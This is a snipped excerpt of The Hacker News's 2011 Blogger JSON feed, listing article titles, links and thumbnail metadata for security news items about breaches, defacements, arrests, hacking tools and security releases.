ackernews.com/2011/09/two-suspected-anonymouslulzsec-hackers.html","title":"Two Suspected Anonymous/LulzSec hackers arrested by British police"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-ZwP7sI9FB0o/TmAPxX4KpcI/AAAAAAAAC4U/Stdn9nBmXQw/s72-c/lulzsec.jpg","height":"72","width":"72"}},{"
...[SNIP]...
m/2011/09/ea-game-battlefield-heroes-accounts.html","title":"EA Game - Battlefield Heroes Accounts Hacked by 'Why So Serious?' Albanian Hacker"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-NCZ_StX14k4/TmAHnZXxkoI/AAAAAAAAC4M/mpAx-C2jDgc/s72-c/Battlefield-Heroes+copy.jpg","height":"72","
...[SNIP]...
om/2011/09/texas-law-enforcement-hacked-by-antisec.html","title":"Texas law enforcement Hacked by #Antisec and #FreeAnons - 3GB of data leaked"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/--Phi5OCAzP8/Tl_1u78jLuI/AAAAAAAAC4A/m3pGaDPM7os/s72-c/pic.jpg","height":"72","width":"72"}},{"id":
...[SNIP]...
"href":"http://thehackernews.com/2011/09/invitation-for-def-con-chennai-dc602028.html","title":"Invitation for DEF-CON Chennai (DC602028) Meet"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-KiJQNZ_RgNE/Tl7QoQmTavI/AAAAAAAAC34/OO5b-mHwIAs/s72-c/Defcon+chennai.jpg","height":"72","width":"7
...[SNIP]...
/thehackernews.com/2011/09/kernelorg-server-rooted-and-448-users.html","title":"Kernel.org Server Rooted and 448 users credentials compromised"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/--bInAjlBS6A/Tl60NGxa2lI/AAAAAAAAC30/4K9kM-fjXuc/s72-c/apple2e-linuxlogo.jpg","height":"72","width"
...[SNIP]...
rnews.com/2011/08/wikileaksorg-under-cyber-attack-after.html","title":"WikiLeaks.org under Cyber Attack after releasing U.S. diplomatic cables"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-nXG2BBdJtKY/Tl2DsXVDKsI/AAAAAAAAC3s/oHvqZA50Ikg/s72-c/EmbassyCables.jpg","height":"72","width":"72
...[SNIP]...
kernews.com/2011/08/bangladesh-police-website-hacked-by.html","title":"Bangladesh Police website hacked by RetnOHacK Anonymous Albanian Hacker"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-u8iQC4fvWVE/Tl1sUUtg3HI/AAAAAAAAC3k/trlt9EfrDXc/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
/thehackernews.com/2011/08/google-hacker-florian-rohrweck-hired-by.html","title":"Google+ Hacker Florian Rohrweck Hired By Google for Security"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-injAHijlB18/Tl1ZlBdzI0I/AAAAAAAAC3g/TQEiyd2RkDQ/s72-c/photo.jpg-sz%253D400.jpg","height":"72","wid
...[SNIP]...
":"http://thehackernews.com/2011/08/qubes-os-operating-system-designed-for.html","title":"Qubes OS : An Operating System Designed For Security"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-g5gP7BnE254/Tl1QtF2hN0I/AAAAAAAAC3c/8BqfxlQVtAc/s72-c/snapshot1.png","height":"72","width":"72"}},
...[SNIP]...
nate","type":"text/html","href":"http://thehackernews.com/2011/08/andosid-dos-tool-for-android.html","title":"AnDOSid the DOS tool for Android"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-CRXw0xS7kYk/Tl1I7J7fTtI/AAAAAAAAC3Y/NHHzkJK8NB4/s72-c/ss-320-1-0.jpg","height":"72","width":"72"}}
...[SNIP]...
","href":"http://thehackernews.com/2011/08/xcode-sqlilfixss-and-webshellscanning.html","title":"XCode SQLi/LFI/XSS and Webshell..Scanning tool"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-upIe3oHiu90/Tl0joHlhO6I/AAAAAAAAC3U/wzGw-57bwPA/s72-c/scansqlinjection.png","height":"72","width":
...[SNIP]...
tp://thehackernews.com/2011/08/iranian-man-in-middle-attack-against.html","title":"Iranian Man-in-the-Middle Attack Against Google certificate"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-LQFlcxLWXR4/TlzdjS3PXvI/AAAAAAAAC3M/86083736cZg/s72-c/m-i-m_2.gif","height":"72","width":"72"}},{"
...[SNIP]...
8/south-korean-domain-registrar-gabia.html","title":"South Korean domain registrar Gabia hacked,100000 domains and 350000 users data exposed !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-0aGv_TReGgo/TlvmHo2U30I/AAAAAAAAC3E/DW7pid88rGU/s72-c/news_26579.jpg","height":"72","width":"72"}}
...[SNIP]...
alternate","type":"text/html","href":"http://thehackernews.com/2011/08/xss-vulnerability-in-msncom.html","title":"XSS Vulnerability in MSN.com"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-S50muz5llAE/TltqyNjslVI/AAAAAAAAC3A/5gumC729JtI/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
text/html","href":"http://thehackernews.com/2011/08/ddos-attack-using-google-plus-servers.html","title":"DDos attack using Google Plus Servers"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/_mm4GLe4Th4M/TFoUoClXGUI/AAAAAAAAAkg/UdIDVYf-k0s/s72-c/1-twitter-dos-data.jpg","height":"72","width
...[SNIP]...
tml","href":"http://thehackernews.com/2011/08/hacking-facebook-account-using-facebook.html","title":"Hacking a Facebook Account using Facebook"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-FbGp3-L9Fkk/TlteQfqjBuI/AAAAAAAAC24/PPAdTYbOnNQ/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
//thehackernews.com/2011/08/19-years-old-iphone-hacker-nicholas.html","title":"19 years old iPhone hacker Nicholas Allegra (comex) joins Apple"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-YtE3H67ffjU/TltQ_y6teiI/AAAAAAAAC20/P7polVy4JEk/s72-c/tumblr_lpgwoenFH51qzbccv.jpg","height":"72",
...[SNIP]...
ref":"http://thehackernews.com/2011/08/morto-worm-spreading-via-remote-desktop.html","title":"Morto Worm spreading via Remote Desktop Protocol"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-SGZNEhuZymg/TltO0RFpj7I/AAAAAAAAC2w/lVqTP0biGLA/s72-c/rdp1.png","height":"72","width":"72"}},{"id"
...[SNIP]...
ef":"http://thehackernews.com/2011/08/insect-pro-27-penetration-testing-tool.html","title":"INSECT Pro 2.7 - Penetration testing tool download"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-j-fHvm5eB1w/TlqAMTYRhCI/AAAAAAAAC2k/4IwqJV4w2nU/s72-c/cajita16.png","height":"72","width":"72"}},{
...[SNIP]...
ref":"http://thehackernews.com/2011/08/orangefr-hacked-database-and-site.html","title":"Orange.fr hacked, Database and site source code leaked"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-SU2tYgecg8c/TlqHVaD-CpI/AAAAAAAAC2o/MltKEzUSAFw/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
//thehackernews.com/2011/08/uk-police-charge-another-alleged.html","title":"UK Police Charge another alleged Anonymous member in Hacking Cases"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-g4-6WT9ZoiM/Tlp1_O5ZOgI/AAAAAAAAC2g/nLb0Tp64Z_k/s72-c/Hacking-computer-007.jpg","height":"72","wid
...[SNIP]...
om/2011/08/borlasnet-14800-users-logins-phone.html","title":"Borlas.net 14800 Users logins, phone number \u0026 Emails Leaked by Division Crew"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-WJFV6xY3N58/Tlnmb020T4I/AAAAAAAAC2c/fRTUxCk7pcA/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
/thehackernews.com/2011/08/32-israel-websites-defaced-by-sbz-ghost.html","title":"32 Israel websites defaced by SbZ-GHoST TeaM Tunisia Hackers"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-sytZm4cGljQ/TlngzsNdMuI/AAAAAAAAC2Y/eIaT2B5EWrc/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
hehackernews.com/2011/08/killapache-ddos-tool-half-of-internet.html","title":"Killapache: DDOS tool - Half of the Internet is vulnerable now !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-IzEFxZ33wt0/TlnbMsDqaoI/AAAAAAAAC2U/32vXGn_Aq0Q/s72-c/eadbbcb3cbeaf8cfc8628a12744f89b6.jpg","heigh
...[SNIP]...
nate","type":"text/html","href":"http://thehackernews.com/2011/08/apple-website-hacked-by-hodlum.html","title":"Apple Website Hacked by HodLuM"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-DIL0w8Az6uU/TlfwZstONtI/AAAAAAAAC2Q/tkDN488-zgI/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
tml","href":"http://thehackernews.com/2011/08/mtputty-10-beta-multi-tabbed-putty.html","title":"MTPuTTY 1.0 Beta - Multi-Tabbed PuTTY Released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-utUmqSIwMcc/Tlfv8Om-r8I/AAAAAAAAC2M/K-rhdYXjrY4/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
thehackernews.com/2011/08/philippine-nuclear-research-institute.html","title":"Philippine Nuclear Research Institute (PNRI) Hacked by PrivateX"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-jKRrrPL7LLo/TlbrYAqry1I/AAAAAAAAC2I/9UU0waXk2lg/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
nate","type":"text/html","href":"http://thehackernews.com/2011/08/rankmyhack-got-hacked-by-haxor.html","title":"Rankmyhack got hacked by HaxOr"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-_5sGjoz_Xhk/TlboVFnBFhI/AAAAAAAAC2A/MkmX2Rrwagg/s72-c/Untitled.png","height":"72","width":"72"}},{
...[SNIP]...
","type":"text/html","href":"http://thehackernews.com/2011/08/cslsecurity-hacked-by-teamp0ison.html","title":"CSLSecurity Hacked by TeaMp0isoN"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/--f7_lgWsaO0/TlWpUlnMBEI/AAAAAAAAC14/uOsAfbQcPYg/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
te","type":"text/html","href":"http://thehackernews.com/2011/08/steve-jobs-resigns-as-apple-ceo.html","title":"Steve Jobs Resigns as Apple CEO"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-hFritTH-3LI/TlV_06x17pI/AAAAAAAAC10/yARPT_7cnHc/s72-c/steve_jobs_worship1.jpg","height":"72","widt
...[SNIP]...
/html","href":"http://thehackernews.com/2011/08/anonymous-leaks-nude-pics-of-bart.html","title":"#Anonymous Leaks Nude Pics of #BART Spokesman"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-tJple8I1v3w/TlV8iIUIeEI/AAAAAAAAC1w/iTx0wNtfzbg/s72-c/bartspokesman.jpg","height":"72","width":"72
...[SNIP]...
":"http://thehackernews.com/2011/08/cyber-war-against-israel-have-taken.html","title":"Cyber war against Israel have taken very dangerous turn"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/--PGs_zW3BXk/TlVyZTl_qtI/AAAAAAAAC1s/Ht2gpulIcUE/s72-c/image6564572x.jpg","height":"72","width":"72
...[SNIP]...
tp://thehackernews.com/2011/08/egyptian-consulate-in-united-kingdom.html","title":"Egyptian Consulate in United Kingdom Defaced Cocain hackers"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-onK9FuIIrU4/TlVAXNBOkMI/AAAAAAAAC1g/-T2-7sRuBk0/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
tp://thehackernews.com/2011/08/knock-v15-subdomain-scanner-allows-to.html","title":"Knock v1.5 - Subdomain Scanner , allows to bypass wildcard"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/--Lxn3FVxxsQ/TlUz-LwmysI/AAAAAAAAC1c/uTxz70GqKgw/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
//thehackernews.com/2011/08/thehacker12-dumps-logins-for-20000.html","title":"Thehacker12 Dumps Logins for 20,000 Customers and U.S. Employees"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-7Q-GIrI-bbM/TlUvMjkvwvI/AAAAAAAAC1U/rUJ1plgUM54/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
href":"http://thehackernews.com/2011/08/german-gema-website-hacked-by-anonymous.html","title":"German Gema website hacked by Anonymous Hackers"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-aN0Ar309SB4/TlQFKBA2snI/AAAAAAAAC1Q/nXmvfSi90K8/s72-c/gema.jpg","height":"72","width":"72"}},{"id"
...[SNIP]...
":"http://thehackernews.com/2011/08/xss-vulnerability-in-bingcom-maps.html","title":"XSS vulnerability in Bing.com Maps by Juan Sacco (runlvl)"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-eKvVuRMJns4/TlQCWKzrjiI/AAAAAAAAC1M/KEUHC1zBPCo/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
f":"http://thehackernews.com/2011/08/android-trojan-gingermaster-uses.html","title":"Android Trojan GingerMaster Uses Gingerbread Root Exploit"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-NWV-ylzz5MU/TlP-GupJsnI/AAAAAAAAC1I/yVY-t9pwOP8/s72-c/gmaster11.png","height":"72","width":"72"}},
...[SNIP]...
http://thehackernews.com/2011/08/automated-https-vulnerability-testing.html","title":"Automated HTTPS Vulnerability Testing by Qualys SSL Labs"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-7IythByICnY/TlP7lprSqGI/AAAAAAAAC1E/LMgQquBcZP0/s72-c/SSLTEST.jpg","height":"72","width":"72"}},{"
...[SNIP]...
:"http://thehackernews.com/2011/08/f-secure-chinese-government-launching.html","title":"F-Secure : Chinese Government Launching Online Attacks"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-aQyg1PHSNBE/TlP5K85FIdI/AAAAAAAAC1A/xhYrDZj5l9o/s72-c/china-flag.jpg","height":"72","width":"72"}}
...[SNIP]...
11/08/turkish-government-website-hacked-by.html","title":"Turkish government website Hacked by kurdish hacker for bombarding Kurdistan Regions"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-tVEhG3-qYgI/TlPzXUIBMXI/AAAAAAAAC08/RwmCS-4GBvw/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
/thehackernews.com/2011/08/kathmandu-metropolitan-city-website.html","title":"Kathmandu Metropolitan City website database hacked by T34mT!g3R"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-VC8yQOmILbc/TlPx78MlRZI/AAAAAAAAC04/LRe5wWmZzuc/s72-c/2ytsdpl.png","height":"72","width":"72"}},{"
...[SNIP]...
text/html","href":"http://thehackernews.com/2011/08/uniscan-40-vulnerability-scanner.html","title":"Uniscan 4.0 vulnerability scanner Released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-8nafGW8soDM/TlLvpspVgNI/AAAAAAAAC00/NvOlNqUa8dU/s72-c/4392-Acunetix_Web_Vulnerability_Scanner-b.gi
...[SNIP]...
08/uk-police-hacked-for-antisec-by.html","title":"Metropolitan UK Police hacked for #Antisec by CSL Security using SQL injection Vulnerability"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-fAD8dARRihQ/TlKMe4sBLFI/AAAAAAAAC0o/Y6-htXSeQnY/s72-c/metropolitan-police-service-crime-mapping-1.
...[SNIP]...
ml","href":"http://thehackernews.com/2011/08/call-for-papers-from-defcon-chennai.html","title":"Call for Papers from DefCon Chennai (DC602028)"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-UoKQxxU6lfo/Tlank6FRWKI/AAAAAAAAC18/6Me4ZDZicqM/s72-c/26768453272979503900.jpg","height":"72","wid
...[SNIP]...
ef":"http://thehackernews.com/2011/08/nokia-website-hacked-by-pr0tect0r-aka.html","title":"Nokia developer forum Hacked by pr0tect0r AKA mrNRG"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-qv2AVEKRHfM/TlH47LCMpwI/AAAAAAAAC0c/Ci1mBe7l-Ro/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
xt/html","href":"http://thehackernews.com/2011/08/owasp-zed-attack-proxy-zap-v132.html","title":"OWASP Zed Attack Proxy (ZAP) v.1.3.2 Released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-WOehl9KDJ0I/TlHxYNIDjcI/AAAAAAAAC0Y/81HWzTQljxA/s72-c/748px-ZAP-ScreenShotAddAlert.png","height":"
...[SNIP]...
ackernews.com/2011/08/israeli-prime-minister-netanyahus.html","title":"Israeli Prime Minister Netanyahu...s Website Defaced by Egyptian Hacker"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-IX91MZUDv4g/TlHtktu7X9I/AAAAAAAAC0U/CJ2-9souBdA/s72-c/netanyahu_webpage.jpg","height":"72","width"
...[SNIP]...
p://thehackernews.com/2011/08/phone-hacker-forced-to-disclose-name.html","title":"Phone Hacker Forced to Disclose name, Who Told Him to Hack !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-GsOf6uaxKgg/TlHmivbEmCI/AAAAAAAAC0Q/KM9EO3JAoFw/s72-c/P1-BC084_MULCAI_DV_20110819185638.jpg","heig
...[SNIP]...
ckernews.com/2011/08/jondofox-253-browser-optimized-for.html","title":"JonDoFox 2.5.3 - Browser Optimized for anonymous and secure web surfing"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-0D46TE4B9Yw/TlFfNfHu44I/AAAAAAAAC0M/pc49irzvEXQ/s72-c/jondofox_grau2.png","height":"72","width":"7
...[SNIP]...
ref":"http://thehackernews.com/2011/08/darkcomet-rat-v40-fix1-released-fully.html","title":"DarkComet-RAT v4.0 Fix1 Released - Fully Cryptable"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-cDXog1ocOss/TlFYEB-XwUI/AAAAAAAAC0I/NZxd-hfTWes/s72-c/darkcomet_rat.png","height":"72","width":"72
...[SNIP]...
2011/08/danish-government-database-of-1000000.html","title":"Danish Government database of 1,000,000 companies private info leaked by #Antisec"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://1.bp.blogspot.com/-D6J9UAEm7yQ/TlFVJsJqH_I/AAAAAAAAC0E/Gurxozlq-A4/s72-c/antisec.jpg","height":"72","width":"72"}},{"
...[SNIP]...
xt/html","href":"http://thehackernews.com/2011/08/350000-epson-korea-customers-data.html","title":"350,000 Epson Korea customers data breached"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-JVrOkn69H40/TlFOvwkGmZI/AAAAAAAAC0A/8Ix8HcrID4A/s72-c/14270.jpg","height":"72","width":"72"}},{"id
...[SNIP]...
f":"http://thehackernews.com/2011/08/nepal-telecommunications-authority.html","title":"Nepal Telecommunications Authority Hacked by w3bd3f4c3r"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-0FLH1FN8Vm4/TlFMHOII28I/AAAAAAAACzw/NiTBxPc1hF0/s72-c/5xw6s.png","height":"72","width":"72"}},{"id
...[SNIP]...
ml","href":"http://thehackernews.com/2011/08/skype-zero-day-htmljavascript-code.html","title":"Skype zero day HTML/(Javascript) code injection"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-_QRQl6OBvpw/TlFANvDhNOI/AAAAAAAACzs/FfPg_CCikeg/s72-c/bb0ba9575d826cfadebb0cb644035826.png","heigh
...[SNIP]...
tp://thehackernews.com/2011/08/libya-registry-telecom-websites-hacked.html","title":"Libya Registry \u0026 Telecom websites hacked by Electr0n"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-jYWf_rFc7rk/TlDi9FL9vDI/AAAAAAAACzo/EnUjTlEkByU/s72-c/nicly.png","height":"72","width":"72"}},{"id
...[SNIP]...
ext/html","href":"http://thehackernews.com/2011/08/israel-radio-is-hacked-by-egyptian.html","title":"Israel Radio is hacked by Egyptian hacker"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://4.bp.blogspot.com/-_QKPrkrmh7k/TlDdZ7P0bwI/AAAAAAAACzk/7Qop0ms04n8/s72-c/Untitled.jpg","height":"72","width":"72"}},{
...[SNIP]...
tp://thehackernews.com/2011/08/idea-cellular-web-portal-hacked.html","title":"Idea Cellular Web Portal Hacked, Customers Info may be exposed !"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-B06XCDrhyTY/TlAEZYxilwI/AAAAAAAACzU/rPhCyd4E65s/s72-c/Idea-Logo-.jpg","height":"72","width":"72"}}
...[SNIP]...
,"href":"http://thehackernews.com/2011/08/25-year-old-uk-student-hacker.html","title":"25 Year old UK Student hacker penetrated Facebook\u200e"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://3.bp.blogspot.com/-iSgk1vJR1s0/Tk_q9Dc8dcI/AAAAAAAACzQ/QrzjSfNnEfA/s72-c/Mangham_1974939c.jpg","height":"72","width":
...[SNIP]...
","type":"text/html","href":"http://thehackernews.com/2011/08/pdd-packet-dump-decode-released.html","title":"PDD - Packet Dump Decode Released"}],"author":[{"name":{"$t":"THN Reporter"},"email":{"$t":"noreply@blogger.com"}}],"media$thumbnail":{"xmlns$media":"http://search.yahoo.com/mrss/","url":"http://2.bp.blogspot.com/-UTx0LgL_JEU/Tk9LDZMt2_I/AAAAAAAACzM/Hb2gCRkLtEQ/s72-c/pdd_screencast.gif","height":"72","width":"7
...[SNIP]...
